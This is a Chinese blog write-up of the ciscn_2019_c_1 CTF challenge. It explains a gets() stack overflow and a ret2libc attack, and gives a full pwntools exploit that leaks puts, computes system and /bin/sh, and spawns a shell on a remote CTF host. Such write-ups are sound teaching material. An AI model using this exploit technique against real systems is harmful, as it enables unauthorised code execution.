ciscn_2019_c_1(ret2libc)

本文介绍了一种利用栈溢出漏洞的方法,通过分析一个特定的程序,解释如何使用ret2libc技术来获得shell。首先,文章分析了程序的结构和功能,发现了潜在的栈溢出点,并详细说明了如何构造payload来泄露程序中的函数地址。
摘要由CSDN通过智能技术生成

查看程序

image-20221007151440101

可以看到程序是amd64位的程序

并且只开启了NX保护;可以考虑栈溢出漏洞;

IDA64分析程序

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-4h] BYREF

  init(argc, argv, envp);
  puts("EEEEEEE                            hh      iii                ");
  puts("EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  ");
  puts("EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e ");
  puts("EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  ");
  puts("EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee ");
  puts("====================================================================");
  puts("Welcome to this Encryption machine\n");
  begin();
  while ( 1 )
  {
    while ( 1 )
    {
      fflush(0LL);
      v4 = 0;
      __isoc99_scanf("%d", &v4);
      getchar();
      if ( v4 != 2 )
        break;
      puts("I think you can do it by yourself");
      begin();
    }
    if ( v4 == 3 )
    {
      puts("Bye!");
      return 0;
    }
    if ( v4 != 1 )
      break;
    encrypt();
    begin();
  }
  puts("Something Wrong!");
  return 0;
}

通过main函数其实我们没有发现什么有用的信息;

只有一个int类型的数据输入,无法构造栈溢出;

begin

int begin()
{
  puts("====================================================================");
  puts("1.Encrypt");
  puts("2.Decrypt");
  puts("3.Exit");
  return puts("Input your choice!");
}

begin函数很明显就只是一个信息打印的函数;没有什么作用;

encrypt

int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h] BYREF
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);		//栈溢出构造点
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )	//strlen()函数遇到‘\0’截止
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 13u;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

encrypt加密函数,在这里很明显有个gets函数能够作为栈溢出的构造点;

查看字符串

Shift + F12查看该程序中的字符串

image-20221007152058506

在该程序中并没有什么类似 system /bin/sh等有用的字符串;

无法使用ret2text;

漏洞利用

基本思路

由于程序本身并没有 system /bin/sh的调用,放弃使用ret2text和ret2syscall的想法

故我们考虑利用 ret2libc

通过已经调用过的函数去泄露它在程序中的地址,然后利用地址末尾的3个字节,去找到该程序所用的libc版本;

程序中函数的地址跟libc中函数的地址的关系:程序函数地址=加载程序的基址+libc中函数偏移量

想办法通过encrypt函数的 get函数栈溢出获得其中一个函数的地址

通过LibcSearcher得到该函数在对应libc中的偏移量

即可得到 加载程序的基址

基本构造

在此之前,我们需要先了解32位和64位程序调用函数传参的差别;

32位直接通过栈来传参,而64位则先使用寄存器RDI、RSI、RDX、RCX、R8、R9进行传参,如果多余6个参数,则再使用栈进行传参;

在这里插入图片描述

  • main_addr:通过IDA64即可查看main函数的起始地址为0x400B28

  • pop_rdi_addr:可通过使用ROPgadget工具进行查找,可得地址为 0x400c83

ROPgadget  --binary ciscn_2019_c_1 |grep "pop rdi"

image-20221007162948892

  • puts_got_addr:通过ELF程序获取 elf.got['puts']
  • puts_plt_addr:通过ELF程序获取 elf.plt['puts']

image-20221007162526397

综上,我们可以构造第一段payload为(payload首部加入‘\0’是为了绕过encrypt函数,防止输入的字符串加密而变化,strlen()函数遇‘\0’截止)

payload = b'\0' + b'a'*(0x50 - 1 + 0x8) + p64(pop_got_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)

我们通过 \0截断了encrypt函数,但是函数仍然会执行并产生空输出;

所以我们通过puts函数输出的puts函数的地址则会在输出两行之后输出

Input your Plaintext to be encrypted
\0		//<输入的明文字符>,payload注入位置
Ciphertext
 		//<输出的加密密文字符>
puts函数地址

所以我们通过两次p.recvline()接收,两行字符串后

使用puts_addr=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0'))接收puts函数的地址;

现在,我们已经得到了puts函数的地址,通过使用LibcSearcher查询对应的libc版本

libc = LibcSearcher('puts', puts_addr)

这里插一句,LibcSearcher安装,直接使用pip安装即可,运行一下两条指令即可

使用 pip

sudo pip3 install LibcSearcher

更新

sudo pip3 install -U LibcSearcher

随后我们可以通过得到的libc版本来查询对应字符串或函数的偏移地址,也包括puts函数的偏移地址;

程序函数地址=加载程序的基址+libc中函数偏移量

故我们可以计算加载程序的基址,通过基址和各个函数以及字符串的偏移量可以计算各个函数以及字符串在程序中的地址

libc = LibcSearcher('puts', puts_addr)
baseaddr = puts_addr-libc.dump('puts')
print('程序基址:' + hex(baseaddr))

#/bin/sh字符串的偏移地址
binsh_addr_offset = libc.dump('str_bin_sh')	
#system函数的偏移地址
system_offset = libc.dump('system')

binsh_addr = baseaddr + binsh_addr_offset
system_addr = baseaddr + system_offset

对于调用system函数,我们需要考虑堆栈平衡,我们使用ret指令来实现堆栈平衡,因为ret指令执行之前会自动进行堆栈平衡操作;

与构造payload1同理,我们构造payload2,如下所示

payload = b'\0' + b'a'*(0x50 - 1 + 8)
payload += p64(ret_addr)	#堆栈平衡
payload += p64(pop_rdi_addr)	#将system函数的参数保存到rdi中
payload += p64(binsh_addr)		#pop指令的执行的操作数
payload += p64(system_addr)		#调用system函数获得shell

最终的exp如下所示:

exp

from pwn import *
from LibcSearcher import *

context(os='linux', arch='amd64', log_level='info')
p = remote('node4.buuoj.cn',29745)
#p = process('./ciscn_2019_c_1')
elf = ELF('./ciscn_2019_c_1')

main_addr = 0x400b28
pop_rdi_addr = 0x400c83
ret_addr = 0x4006b9
puts_got_addr = elf.got['puts']
puts_plt_addr = elf.plt['puts']

p.sendlineafter(b'Input your choice!\n', b'1')
payload = b'\0' + b'a'*(0x50 - 1 + 8)
payload += p64(pop_rdi_addr) 
payload += p64(puts_got_addr)
payload += p64(puts_plt_addr)
payload += p64(main_addr)
p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)
p.recvline()
p.recvline()
puts_addr=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
#puts_addr = 0x7f8685384970
print('puts函数地址:' + hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
baseaddr = puts_addr-libc.dump('puts')
print('程序基址:' + hex(baseaddr))

binsh_addr_offset = libc.dump('str_bin_sh')	
system_offset = libc.dump('system')

binsh_addr = baseaddr + binsh_addr_offset
system_addr = baseaddr + system_offset

p.sendlineafter(b'Input your choice!\n', b'1')

payload = b'\0' + b'a'*(0x50 - 1 + 8)
payload += p64(ret_addr)
payload += p64(pop_rdi_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)

p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)

p.interactive()

这里的LibcSearcher是在线查询libc版本,所以可能会查到不止一个libc版本,选择其中认为最正确的即可;

有可能选择的libc不正确,再运行一次,尝试其他的libc版本;

image-20221008090351135

image-20221008090450523

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值